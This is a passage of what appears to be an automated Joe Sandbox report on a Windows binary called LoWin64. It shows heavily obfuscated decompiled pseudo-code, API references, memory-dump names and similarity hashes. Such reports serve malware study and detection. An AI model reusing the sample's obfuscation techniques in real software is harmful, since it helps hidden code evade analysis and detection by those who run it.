				void* _t105;
				void* _t106;
				void* _t114;
				void* _t116;
				void* _t124;
				signed int _t127;
				void* _t135;
				signed long long _t137;
				signed long long _t140;
				void* _t144;
				signed long long _t147;
				signed long long _t151;
				signed long long _t155;
				signed long long _t159;
				signed long long _t163;
				void* _t167;
				void* _t173;
				void* _t176;
				void* _t179;
				void* _t182;
				void* _t185;
				void* _t188;
				void* _t191;
				void* _t194;
				void* _t197;
				void* _t200;
				void* _t203;
				void* _t206;
				void* _t209;
				void* _t212;
				void* _t215;
				signed int _t226;
				void* _t245;
				void* _t251;

				_t97 = __eflags;
				_t137 = _t135 - _t226 + _t226;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = _t137;
				GetTopWindow(??);
				bpl =  !bpl;
				asm("adc eax, [eax]");
				E00007FF67FF6B1D3ACF4(_t137);
				if (_t97 >= 0) goto 0xb1caf97d;
				_t140 = (_t137 & 0x8000007f) - _t226 + _t226;
				if (_t140 - 0x66 > 0) goto 0xb1caf987;
				if (0x2f - 0x30 < 0) goto 0xb1caf962;
				r15d = 0x42;
				 *0xb1decf60 = 0x2f;
				_t27 = E00007FF67FF6B1D3ACF4(_t140);
				if (0x2f - 0x30 >= 0) goto 0xb1caf9ab;
				_t144 = ((_t140 & 0x8000007f) - _t226 | 0xffffff80) + _t226;
				if (_t27 != r14d) goto 0xb1caf9b5;
				if (0x2f + _t226 - 0x48 < 0) goto 0xb1caf990;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t144);
				_t147 = (_t144 - _t226 | 0xffffff80) + _t226;
				_t102 = _t147 - 0x2d;
				if (_t102 > 0) goto 0xb1cafa1f;
				E00007FF67FF6B1D3ACF4(_t147);
				if (_t102 >= 0) goto 0xb1caf9e6;
				_t151 = ((_t147 & 0x8000007f) - _t226 | 0xffffff80) + _t226;
				_t103 = _t151 - 0xb;
				if (_t103 == 0) goto 0xb1cafa1f;
				 *0xb1decf60 = _t226;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = _t226;
				 *0xb1decf60 = _t226;
				E00007FF67FF6B1D3ACF4(_t151);
				if (_t103 >= 0) goto 0xb1cafa14;
				_t155 = ((_t151 & 0x8000007f) - _t226 | 0xffffff80) + _t226;
				goto 0xb1cafa7d;
				E00007FF67FF6B1D3ACF4(_t155);
				if (_t155 - 0x2d >= 0) goto 0xb1cafa2f;
				_t159 = ((_t155 & 0x8000007f) - _t226 | 0xffffff80) + _t226;
				_t105 = _t159 - 0x1e;
				if (_t105 == 0) goto 0xb1cafa64;
				E00007FF67FF6B1D3ACF4(_t159);
				if (_t105 >= 0) goto 0xb1cafa44;
				_t163 = ((_t159 & 0x8000007f) - _t226 | 0xffffff80) + _t226;
				_t106 = _t163 - 0x30;
				if (_t106 < 0) goto 0xb1cafa64;
				E00007FF67FF6B1D3ACF4(_t163);
				if (_t106 >= 0) goto 0xb1cafa59;
				_t167 = ((_t163 & 0x8000007f) - _t226 | 0xffffff80) + _t226;
				goto 0xb1cafa7d;
				E00007FF67FF6B1D3ACF4(_t167);
				if (_t167 - 0x1e >= 0) goto 0xb1cafa74;
				 *0xb1decf60 = 0;
				asm("adc eax, [eax]");
				_t173 = 0x6 + _t226;
				if (0x6 - 0x11 < 0) goto 0xb1cafa88;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebx;
				if (r13d - 0x7b < 0) goto 0xb1cafa83;
				asm("adc eax, [eax]");
				if (_t245 + _t226 - 0x41 < 0) goto 0xb1cafaaa;
				E00007FF67FF6B1D3ACF4(_t173);
				r13d = 0x8000007f;
				asm("push es");
				_t176 = (_t173 - _t226 | 0xffffff80) + _t226;
				if (0x6 != 0x3c) goto 0xb1cafb01;
				AnyPopup();
				r15d = r15d + __ebx;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t176);
				if (0x6 - 0x3c >= 0) goto 0xb1cafaf6;
				_t179 = (_t176 - _t226 | 0xffffff80) + _t226;
				if (0x6 == 0x75) goto 0xb1cafb01;
				_t114 = r15d - 0x4a;
				if (_t114 < 0) goto 0xb1cafad6;
				E00007FF67FF6B1D3ACF4(_t179);
				if (_t114 >= 0) goto 0xb1cafb11;
				_t182 = (_t179 - _t226 | 0xffffff80) + _t226;
				 *0xb1decf60 = 0;
				GetCommandLineW();
				E00007FF67FF6B1DA4020();
				asm("movsd xmm6, [0x10ec2c]");
				GetDesktopWindow();
				 *0xb1decf60 = _t226;
				E00007FF67FF6B1D3ACF4(_t182);
				if (0x6 - 0x3c >= 0) goto 0xb1cafb50;
				_t185 = (_t182 - _t226 | 0xffffff80) + _t226;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x6;
				 *0xb1decf60 = 0x41;
				_t116 = 0x41 + _t226 - 0x4c;
				if (_t116 < 0) goto 0xb1cafb34;
				IsIconic(??);
				IsZoomed(??);
				E00007FF67FF6B1D3ACF4(_t185);
				if (_t116 >= 0) goto 0xb1cafb95;
				_t188 = (_t185 - _t226 | 0xffffff80) + _t226;
				if (0x6 - 0x6c <= 0) goto 0xb1cafc80;
				E00007FF67FF6B1D3ACF4(_t188);
				if (0x6 - 0x6c >= 0) goto 0xb1cafbae;
				_t191 = (_t188 - _t226 | 0xffffff80) + _t226;
				if (0x6 != 0x15) goto 0xb1cafbdd;
				E00007FF67FF6B1D3ACF4(_t191);
				if (0x6 - 0x15 >= 0) goto 0xb1cafbc3;
				_t194 = (_t191 - _t226 | 0xffffff80) + _t226;
				if (0x6 != 0x5d) goto 0xb1cafbdd;
				E00007FF67FF6B1D3ACF4(_t194);
				if (0x6 - 0x5d >= 0) goto 0xb1cafbd8;
				_t197 = (_t194 - _t226 | 0xffffff80) + _t226;
				goto 0xb1cafc47;
				E00007FF67FF6B1D3ACF4(_t197);
				if (0x6 - 0x15 >= 0) goto 0xb1cafbed;
				_t200 = (_t197 - _t226 | 0xffffff80) + _t226;
				if (0x6 != 0x63) goto 0xb1cafc55;
				_t59 = E00007FF67FF6B1D3ACF4(_t200);
				asm("rcl dword [ebx], cl");
				goto 0xb1cafbb7;
				 *0x6 =  *0x6 | _t59 + bpl;
				if (0x6 - 0x63 >= 0) goto 0xb1cafc14;
				_t203 = (_t200 - _t226 | 0xffffff80) + _t226;
				if (0x6 - 0x43 >= 0) goto 0xb1cafc1e;
				if (0x38 - 0x44 < 0) goto 0xb1cafbfc;
				 *0xb1decf60 = _t226;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebx;
				_t124 = r14d - 0x6f;
				if (_t124 < 0) goto 0xb1cafbf2;
				E00007FF67FF6B1D3ACF4(_t203);
				if (_t124 >= 0) goto 0xb1cafc44;
				_t206 = (_t203 - _t226 | 0xffffff80) + _t226;
				 *0xb1decf60 = 0;
				goto 0xb1cafc5c;
				 *0xb1decf60 = r12d;
				E00007FF67FF6B1D3ACF4(_t206);
				if (0x6 - 0x63 >= 0) goto 0xb1cafc6c;
				_t209 = (_t206 - _t226 | 0xffffff80) + _t226;
				 *0xb1decf60 = 0;
				goto 0xb1cafd19;
				_t127 = E00007FF67FF6B1D3ACF4(_t209) & r13d;
				if (_t127 >= 0) goto 0xb1cafc90;
				_t212 = (_t209 - _t226 | 0xffffff80) + _t226;
				asm("movsd xmm0, [0x10edd0]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t127 != 0) goto 0xb1cafca8;
				if (_t127 == 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4(_t212);
				if (_t127 >= 0) goto 0xb1cafcb8;
				_t215 = (_t212 - _t226 | 0xffffff80) + _t226;
				if (0x6 - _t226 > 0) goto 0xb1cafcc4;
				 *0xb1decf60 = _t226;
				goto 0xb1cafd13;
				if ((E00007FF67FF6B1D3ACF4(_t215) & r13d) >= 0) goto 0xb1cafcd4;
				if (0x6 - 0x5e < 0) goto 0xb1cafd13;
				E00007FF67FF6B1D3ACF4((_t215 - _t226 | 0xffffff80) + _t226);
				if (0x6 - 0x5e >= 0) goto 0xb1cafce9;
				if (0x6 - 0x67 >= 0) goto 0xb1cafd13;
				 *0xb1decf60 = _t226;
				E00007FF67FF6B1D3ACF4(((_t215 - _t226 | 0xffffff80) + _t226 - _t226 | 0xffffff80) + _t226);
				if (0x6 - 0x67 >= 0) goto 0xb1cafd04;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = _t226;
				 *0xb1decf60 = r12d;
				 *0xb1decf60 = 0x33;
				AnyPopup();
				r8d = r8d | 0xffffffff;
				0xb1ca6ecc(); // executed
				if (0x6 == 0) goto 0xb1cafd51;
				r8d = 0;
				_t77 = E00007FF67FF6B1CB5030(r12d & 0xffffff00 | 0x00000006 - 0x00000067 < 0x00000000, _t94, r8d, (((_t215 - _t226 | 0xffffff80) + _t226 - _t226 | 0xffffff80) + _t226 - _t226 | 0xffffff80) + _t226, _t226, __rsi, __rsi, _t251);
				goto 0xb1cafd54;
				0xb1cb1e80(); // executed
				asm("movaps xmm6, [esp+0x30]");
				asm("movaps xmm7, [esp+0x20]");
				return _t77;
			}

0x7ff6b1caf936
0x7ff6b1caf93b
0x7ff6b1caf93d
0x7ff6b1caf944
0x7ff6b1caf948
0x7ff6b1caf94f
0x7ff6b1caf957
0x7ff6b1caf966
0x7ff6b1caf968
0x7ff6b1caf96a
0x7ff6b1caf974
0x7ff6b1caf97b
0x7ff6b1caf980
0x7ff6b1caf985
0x7ff6b1caf987
0x7ff6b1caf992
0x7ff6b1caf998
0x7ff6b1caf9a2
0x7ff6b1caf9a9
0x7ff6b1caf9ae
0x7ff6b1caf9b3
0x7ff6b1caf9b5
0x7ff6b1caf9bc
0x7ff6b1caf9cf
0x7ff6b1caf9d1
0x7ff6b1caf9d4
0x7ff6b1caf9d6
0x7ff6b1caf9dd
0x7ff6b1caf9e4
0x7ff6b1caf9e6
0x7ff6b1caf9e9
0x7ff6b1caf9eb
0x7ff6b1caf9f1
0x7ff6b1caf9f8
0x7ff6b1caf9fe
0x7ff6b1cafa04
0x7ff6b1cafa0b
0x7ff6b1cafa12
0x7ff6b1cafa1d
0x7ff6b1cafa1f
0x7ff6b1cafa26
0x7ff6b1cafa2d
0x7ff6b1cafa2f
0x7ff6b1cafa32
0x7ff6b1cafa34
0x7ff6b1cafa3b
0x7ff6b1cafa42
0x7ff6b1cafa44
0x7ff6b1cafa47
0x7ff6b1cafa49
0x7ff6b1cafa50
0x7ff6b1cafa57
0x7ff6b1cafa62
0x7ff6b1cafa64
0x7ff6b1cafa6b
0x7ff6b1cafa7d
0x7ff6b1cafa8c
0x7ff6b1cafa8e
0x7ff6b1cafa93
0x7ff6b1cafa95
0x7ff6b1cafa9c
0x7ff6b1cafaa3
0x7ff6b1cafaae
0x7ff6b1cafab4
0x7ff6b1cafab6
0x7ff6b1cafabb
0x7ff6b1cafaca
0x7ff6b1cafacf
0x7ff6b1cafad4
0x7ff6b1cafad6
0x7ff6b1cafadc
0x7ff6b1cafadf
0x7ff6b1cafae6
0x7ff6b1cafaee
0x7ff6b1cafaf4
0x7ff6b1cafaf9
0x7ff6b1cafafb
0x7ff6b1cafaff
0x7ff6b1cafb01
0x7ff6b1cafb09
0x7ff6b1cafb0f
0x7ff6b1cafb1a
0x7ff6b1cafb20
0x7ff6b1cafb26
0x7ff6b1cafb2c
0x7ff6b1cafb34
0x7ff6b1cafb3a
0x7ff6b1cafb40
0x7ff6b1cafb48
0x7ff6b1cafb4e
0x7ff6b1cafb50
0x7ff6b1cafb57
0x7ff6b1cafb5b
0x7ff6b1cafb64
0x7ff6b1cafb6a
0x7ff6b1cafb70
0x7ff6b1cafb73
0x7ff6b1cafb77
0x7ff6b1cafb7f
0x7ff6b1cafb85
0x7ff6b1cafb8d
0x7ff6b1cafb93
0x7ff6b1cafb98
0x7ff6b1cafb9e
0x7ff6b1cafba6
0x7ff6b1cafbac
0x7ff6b1cafbb1
0x7ff6b1cafbb3
0x7ff6b1cafbbb
0x7ff6b1cafbc1
0x7ff6b1cafbc6
0x7ff6b1cafbc8
0x7ff6b1cafbd0
0x7ff6b1cafbd6
0x7ff6b1cafbdb
0x7ff6b1cafbdd
0x7ff6b1cafbe5
0x7ff6b1cafbeb
0x7ff6b1cafbf0
0x7ff6b1cafbf2
0x7ff6b1cafc01
0x7ff6b1cafc05
0x7ff6b1cafc07
0x7ff6b1cafc0c
0x7ff6b1cafc12
0x7ff6b1cafc17
0x7ff6b1cafc1c
0x7ff6b1cafc1e
0x7ff6b1cafc24
0x7ff6b1cafc2b
0x7ff6b1cafc2e
0x7ff6b1cafc32
0x7ff6b1cafc34
0x7ff6b1cafc3c
0x7ff6b1cafc42
0x7ff6b1cafc4d
0x7ff6b1cafc53
0x7ff6b1cafc55
0x7ff6b1cafc5c
0x7ff6b1cafc64
0x7ff6b1cafc6a
0x7ff6b1cafc75
0x7ff6b1cafc7b
0x7ff6b1cafc85
0x7ff6b1cafc88
0x7ff6b1cafc8e
0x7ff6b1cafc90
0x7ff6b1cafc98
0x7ff6b1cafc9c
0x7ff6b1cafca0
0x7ff6b1cafca4
0x7ff6b1cafca6
0x7ff6b1cafca8
0x7ff6b1cafcb0
0x7ff6b1cafcb6
0x7ff6b1cafcba
0x7ff6b1cafcbc
0x7ff6b1cafcc2
0x7ff6b1cafccc
0x7ff6b1cafcd7
0x7ff6b1cafcd9
0x7ff6b1cafce1
0x7ff6b1cafcec
0x7ff6b1cafcee
0x7ff6b1cafcf4
0x7ff6b1cafcfc
0x7ff6b1cafd0d
0x7ff6b1cafd13
0x7ff6b1cafd19
0x7ff6b1cafd20
0x7ff6b1cafd2a
0x7ff6b1cafd30
0x7ff6b1cafd39
0x7ff6b1cafd40
0x7ff6b1cafd42
0x7ff6b1cafd4a
0x7ff6b1cafd4f
0x7ff6b1cafd57
0x7ff6b1cafd5c
0x7ff6b1cafd6b
0x7ff6b1cafd7f

APIs

GetTopWindow.USER32 ref: 00007FF6B1CAF957
AnyPopup.USER32 ref: 00007FF6B1CAFAD6
GetCommandLineW.KERNEL32 ref: 00007FF6B1CAFB20
GetLargePageMinimum.KERNEL32 ref: 00007FF6B1CAFB26

Strings

R, xrefs: 00007FF6B1CAFD4A
$!, xrefs: 00007FF6B1CAFD57

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: CommandLargeLineMinimumPagePopupWindow
String ID: $!$R
API String ID: 2492308716-3637212060
Opcode ID: 6e7de8d73668ccdf4a36a4b3a7c84b3b701e653b25830fc4c77298a9c1612229
Instruction ID: e510e8ec1ef35dd7fc9e8207c277a3049f5a774ef1e1f954cc8c3657076f9a7b
Opcode Fuzzy Hash: 6e7de8d73668ccdf4a36a4b3a7c84b3b701e653b25830fc4c77298a9c1612229
Instruction Fuzzy Hash: 57818C67E3850676FB565F3CAC9A1BD62A0BF2421DFA40338C719C129ACF3CF6498204

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6F0BC8E5C Relevance: 15.2, Strings: 10, Instructions: 2664COMMON

Download Yara Rule

Strings

9, xrefs: 00007FF6F0BC6DEF
$, xrefs: 00007FF6F0BC999A
,, xrefs: 00007FF6F0BC83F1
3, xrefs: 00007FF6F0BC7823
6, xrefs: 00007FF6F0BC7393
1, xrefs: 00007FF6F0BC7A6A
5, xrefs: 00007FF6F0BC7591
, xrefs: 00007FF6F0BCA0CE
8, xrefs: 00007FF6F0BC6E63
/, xrefs: 00007FF6F0BC7D9B

Memory Dump Source

Source File: 00000019.00000003.468146842.00007FF6F0BC6000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF6F0BC6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_3_7ff6f0bc6000_LoWin64.jbxd

Similarity

API ID:
String ID: $$$,$/$1$3$5$6$8$9
API String ID: 0-2216046253
Opcode ID: c2b6c017a7f313a4435dd3ec40cddc2082c7abad2fa25c8c6e8abfe93896f3a5
Instruction ID: 290ab383e86d7a9962f294f00e31d561089e304b808f46a9ded047f845283dbd
Opcode Fuzzy Hash: c2b6c017a7f313a4435dd3ec40cddc2082c7abad2fa25c8c6e8abfe93896f3a5
Instruction Fuzzy Hash: 1923E631C28E0F96E7569E288884671B3A1FF1A300F99C375CD6FAA1C5EF3574D68681

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7C72 Relevance: 9.2, APIs: 6, Instructions: 246
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00007FF67FF6B1CA7C72(void* __eax, void* __edi, signed int __esi, void* __ebp, void* __eflags, struct HWND__* __rdx, void* _a32, void* _a144, signed int _a152, signed long long _a160, void* _a168) {
				signed int _t148;
				void* _t170;
				signed int _t213;
				signed int _t236;
				signed int _t238;
				void* _t247;
				void* _t252;
				void* _t254;
				void* _t261;
				signed int _t264;
				void* _t271;
				signed int _t289;
				void* _t300;
				void* _t303;
				void* _t304;
				void* _t306;
				void* _t314;
				void* _t315;
				void* _t317;
				void* _t329;
				signed long long _t332;
				signed long long _t336;
				void* _t340;
				signed long long _t343;
				signed long long _t344;
				void* _t347;
				void* _t350;
				void* _t357;
				void* _t360;
				void* _t363;
				void* _t366;
				void* _t369;
				void* _t383;
				void* _t386;
				void* _t393;
				void* _t396;
				void* _t399;
				void* _t402;
				void* _t405;
				void* _t408;
				void* _t411;
				void* _t414;
				void* _t417;
				void* _t420;
				void* _t423;
				void* _t426;
				void* _t429;
				void* _t432;
				void* _t435;
				void* _t438;
				void* _t441;
				void* _t444;
				void* _t447;
				void* _t450;
				void* _t453;
				void* _t456;
				void* _t459;
				signed long long _t462;
				void* _t465;
				signed long long _t470;
				void* _t473;
				void* _t476;
				void* _t479;
				void* _t482;
				void* _t485;
				void* _t494;
				void* _t497;
				void* _t500;
				void* _t503;
				void* _t506;
				void* _t509;
				void* _t512;
				void* _t518;
				void* _t523;
				signed long long _t530;
				signed long long _t543;
				signed long long _t546;
				signed long long _t549;
				void* _t551;
				void* _t555;

				_t252 = __eflags;
				_t332 = (_t329 - _t549 | _t543) + _t549;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x116b88]");
				if (__eflags <= 0) goto 0xb1ca7cae;
				GetDoubleClickTime();
				E00007FF67FF6B1D3ACF4(_t332);
				if (_t252 >= 0) goto 0xb1ca7c9f;
				_t336 = ((_t332 & _t546) - _t549 | _t543) + _t549;
				 *0xb1decf60 = _t530;
				 *0xb1decf60 = r14d;
				r14d = r14d + __ebp;
				_t254 = r14d - 0x5c;
				if (_t254 < 0) goto 0xb1ca7c13;
				E00007FF67FF6B1D3ACF4(_t336);
				r14d = __esi;
				if (_t254 >= 0) goto 0xb1ca7cd4;
				_t340 = ((_t336 & _t546) - _t549 | _t543) + _t549;
				 *0xb1decf60 = _t530;
				E00007FF67FF6B1D3ACF4(_t340);
				if (_t340 - 0x20 >= 0) goto 0xb1ca7cf3;
				_t343 = (_t340 - _t549 | _t543) + _t549;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t343;
				goto 0xb1ca7d58;
				E00007FF67FF6B1D3ACF4(_t343);
				r14d = __esi;
				_t344 = _t343 & _t546;
				if (_t344 >= 0) goto 0xb1ca7d1f;
				_t347 = (_t344 - _t549 | _t543) + _t549;
				if (_t347 - 0x1d <= 0) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t347) & r14d) >= 0) goto 0xb1ca7d34;
				_t350 = (_t347 - _t549 | _t543) + _t549;
				if (_t350 != 0x67) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t350) & r14d) >= 0) goto 0xb1ca7d49;
				_t261 = (_t350 - _t549 | _t543) + _t549 - 0x67;
				 *0xb1decf60 = _t530;
				if (_t261 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (_t261 >= 0) goto 0xb1ca7d7a;
				_t357 = (0x0000004d - _t549 | _t543) + _t549;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t261 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(_t357);
				if (_t261 >= 0) goto 0xb1ca7da0;
				_t360 = (_t357 - _t549 | _t543) + _t549;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(__rdx);
				E00007FF67FF6B1D3ACF4(_t360);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				_t363 = (_t360 - _t549 | _t543) + _t549;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(_t363);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				_t366 = (_t363 - _t549 | _t543) + _t549;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t264 = E00007FF67FF6B1D3ACF4(_t366) & r14d;
				if (_t264 >= 0) goto 0xb1ca7e07;
				_t369 = (_t366 - _t549 | _t543) + _t549;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t264 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(_t369) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4((_t369 - _t549 | _t543) + _t549);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(((_t369 - _t549 | _t543) + _t549 - _t549 | _t543) + _t549);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4((((_t369 - _t549 | _t543) + _t549 - _t549 | _t543) + _t549 - _t549 | _t543) + _t549);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				_t383 = 0x15 + _t549;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(_t383);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t386 = (_t383 - _t549 | _t543) + _t549;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t386);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t271 = (_t386 - _t549 | _t543) + _t549 - 0x65;
				if (_t271 > 0) goto 0xb1ca7f1b;
				if (_t271 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t271 >= 0) goto 0xb1ca7f07;
				_t393 = (0x00000068 - _t549 | _t543) + _t549;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t393);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t396 = (_t393 - _t549 | _t543) + _t549;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t396) & r14d) >= 0) goto 0xb1ca7f44;
				_t399 = (_t396 - _t549 | _t543) + _t549;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t399) & r14d) >= 0) goto 0xb1ca7f59;
				_t402 = (_t399 - _t549 | _t543) + _t549;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t402) & r14d) >= 0) goto 0xb1ca7f76;
				_t405 = (_t402 - _t549 | _t543) + _t549;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t405);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t408 = (_t405 - _t549 | _t543) + _t549;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t408) & r14d) >= 0) goto 0xb1ca7fa9;
				_t411 = (_t408 - _t549 | _t543) + _t549;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t411);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t414 = (_t411 - _t549 | _t543) + _t549;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t414) & r14d) >= 0) goto 0xb1ca7fec;
				_t417 = (_t414 - _t549 | _t543) + _t549;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t417) & r14d) >= 0) goto 0xb1ca8005;
				_t420 = (_t417 - _t549 | _t543) + _t549;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t420) & r14d) >= 0) goto 0xb1ca8020;
				_t423 = (_t420 - _t549 | _t543) + _t549;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t423);
				_t289 = E00007FF67FF6B1D3ACF4(_t423) & r14d;
				if (_t289 >= 0) goto 0xb1ca8046;
				_t426 = (_t423 - _t549 | _t543) + _t549;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t289 != 0) goto 0xb1ca805e;
				if (_t289 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t549;
				E00007FF67FF6B1D3ACF4(_t426);
				if (_t289 >= 0) goto 0xb1ca807a;
				_t429 = (_t426 - _t549 | _t543) + _t549;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t429);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t432 = (_t429 - _t549 | _t543) + _t549;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t432);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t435 = (_t432 - _t549 | _t543) + _t549;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t435);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				_t438 = (_t435 - _t549 | _t543) + _t549;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t438);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t441 = (_t438 - _t549 | _t543) + _t549;
				_t236 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t441) & r14d) >= 0) goto 0xb1ca812d;
				_t444 = (_t441 - _t549 | _t543) + _t549;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t444) & r14d) >= 0) goto 0xb1ca8142;
				_t447 = (_t444 - _t549 | _t543) + _t549;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t148 = E00007FF67FF6B1D3ACF4(_t447);
				_t149 = _t148 & r14d;
				if ((_t148 & r14d) >= 0) goto 0xb1ca8157;
				_t450 = (_t447 - _t549 | _t543) + _t549;
				r8d = r15d;
				r8b = _t450 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *((intOrPtr*)(_t551 + 0x20));
